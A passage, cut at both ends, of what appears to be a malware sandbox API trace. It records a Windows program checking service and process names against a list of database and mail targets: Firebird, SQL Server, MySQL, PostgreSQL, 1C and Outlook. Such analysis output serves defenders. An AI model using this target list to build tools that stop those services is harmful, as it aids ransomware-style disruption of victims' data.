lpString2="CscService") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0202.243] lstrlenW (lpString="DcomLaunch") returned 10 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0202.243] lstrlenW (lpString="Dhcp") returned 4 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0202.243] lstrlenW (lpString="Dnscache") returned 8 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0202.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0202.243] lstrlenW (lpString="DPS") returned 3 [0202.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0202.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0202.243] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0202.243] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0202.244] lstrlenW (lpString="eventlog") returned 8 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0202.244] lstrlenW (lpString="EventSystem") returned 11 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0202.244] lstrlenW (lpString="FontCache") returned 9 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0202.244] lstrlenW (lpString="gpsvc") returned 5 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0202.244] lstrlenW (lpString="iphlpsvc") returned 8 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0202.244] lstrlenW (lpString="LanmanServer") returned 12 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0202.244] lstrlenW (lpString="LanmanWorkstation") returned 17 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0202.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0202.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0202.244] lstrlenW (lpString="lmhosts") returned 7 [0202.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0202.245] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0202.245] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0202.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0202.245] lstrlenW (lpString="MMCSS") returned 5 [0202.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0202.245] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0202.245] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0202.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0202.245] lstrlenW (lpString="MpsSvc") returned 6 [0202.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0202.245] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0202.245] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0202.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0202.245] lstrlenW (lpString="Netman") returned 6 [0202.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0202.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0202.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0202.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0202.245] lstrlenW (lpString="netprofm") returned 8 [0202.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0202.245] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0202.245] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0202.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0202.245] lstrlenW (lpString="NlaSvc") returned 6 [0202.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0202.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0202.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0202.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0202.245] lstrlenW (lpString="nsi") returned 3 [0202.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0202.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0202.246] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0202.246] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0202.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0202.246] lstrlenW (lpString="PcaSvc") returned 6 [0202.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0202.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0202.246] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0202.246] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0202.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0202.246] lstrlenW (lpString="PlugPlay") returned 8 [0202.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0202.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0202.246] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0202.246] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0202.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0202.246] lstrlenW (lpString="Power") returned 5 [0202.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0202.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0202.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0202.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0202.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0202.246] lstrlenW (lpString="ProfSvc") returned 7 [0202.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0202.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0202.246] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0202.246] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0202.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0202.246] lstrlenW (lpString="RpcEptMapper") returned 12 [0202.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0202.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0202.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0202.246] lstrlenW (lpString="RpcSs") returned 5 [0202.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0202.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0202.247] lstrlenW (lpString="SamSs") returned 5 [0202.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0202.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0202.247] lstrlenW (lpString="Schedule") returned 8 [0202.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0202.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0202.247] lstrlenW (lpString="SENS") returned 4 [0202.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0202.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0202.247] lstrlenW (lpString="ShellHWDetection") returned 16 [0202.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0202.247] lstrlenW (lpString="Spooler") returned 7 [0202.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0202.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0202.247] lstrlenW (lpString="sppsvc") returned 6 [0202.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0202.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0202.247] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0202.247] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0202.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0202.247] lstrlenW (lpString="SysMain") returned 7 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0202.248] lstrlenW (lpString="Themes") returned 6 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0202.248] lstrlenW (lpString="TrkWks") returned 6 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0202.248] lstrlenW (lpString="UxSms") returned 5 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0202.248] lstrlenW (lpString="WdiServiceHost") returned 14 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0202.248] lstrlenW (lpString="WdiSystemHost") returned 13 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0202.248] lstrlenW (lpString="WinDefend") returned 9 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0202.248] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0202.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0202.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0202.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0202.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0202.248] lstrlenW (lpString="Winmgmt") returned 7 [0202.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0202.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0202.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0202.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0202.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0202.249] lstrlenW (lpString="wscsvc") returned 6 [0202.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0202.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0202.249] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0202.249] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0202.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0202.249] lstrlenW (lpString="wuauserv") returned 8 [0202.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0202.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0202.249] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0202.249] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0202.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0202.249] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0202.251] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.251] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.252] lstrlenW (lpString="System") returned 6 [0202.252] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0202.252] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0202.252] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0202.252] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0202.252] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0202.252] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0202.252] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0202.252] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.253] lstrlenW (lpString="smss.exe") returned 8 [0202.253] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0202.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0202.253] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0202.253] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0202.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0202.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0202.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0202.253] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.253] lstrlenW (lpString="csrss.exe") returned 9 [0202.253] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.254] lstrlenW (lpString="wininit.exe") returned 11 [0202.254] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.254] lstrlenW (lpString="csrss.exe") returned 9 [0202.254] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.255] lstrlenW (lpString="winlogon.exe") returned 12 [0202.255] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.255] lstrlenW (lpString="services.exe") returned 12 [0202.255] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.256] lstrlenW (lpString="lsass.exe") returned 9 [0202.256] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0202.256] lstrlenW (lpString="lsm.exe") returned 7 [0202.256] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.257] lstrlenW (lpString="svchost.exe") returned 11 [0202.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.257] lstrlenW (lpString="svchost.exe") returned 11 [0202.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.257] lstrlenW (lpString="svchost.exe") returned 11 [0202.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.258] lstrlenW (lpString="svchost.exe") returned 11 [0202.258] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.258] lstrlenW (lpString="svchost.exe") returned 11 [0202.258] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.259] lstrlenW (lpString="audiodg.exe") returned 11 [0202.259] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, 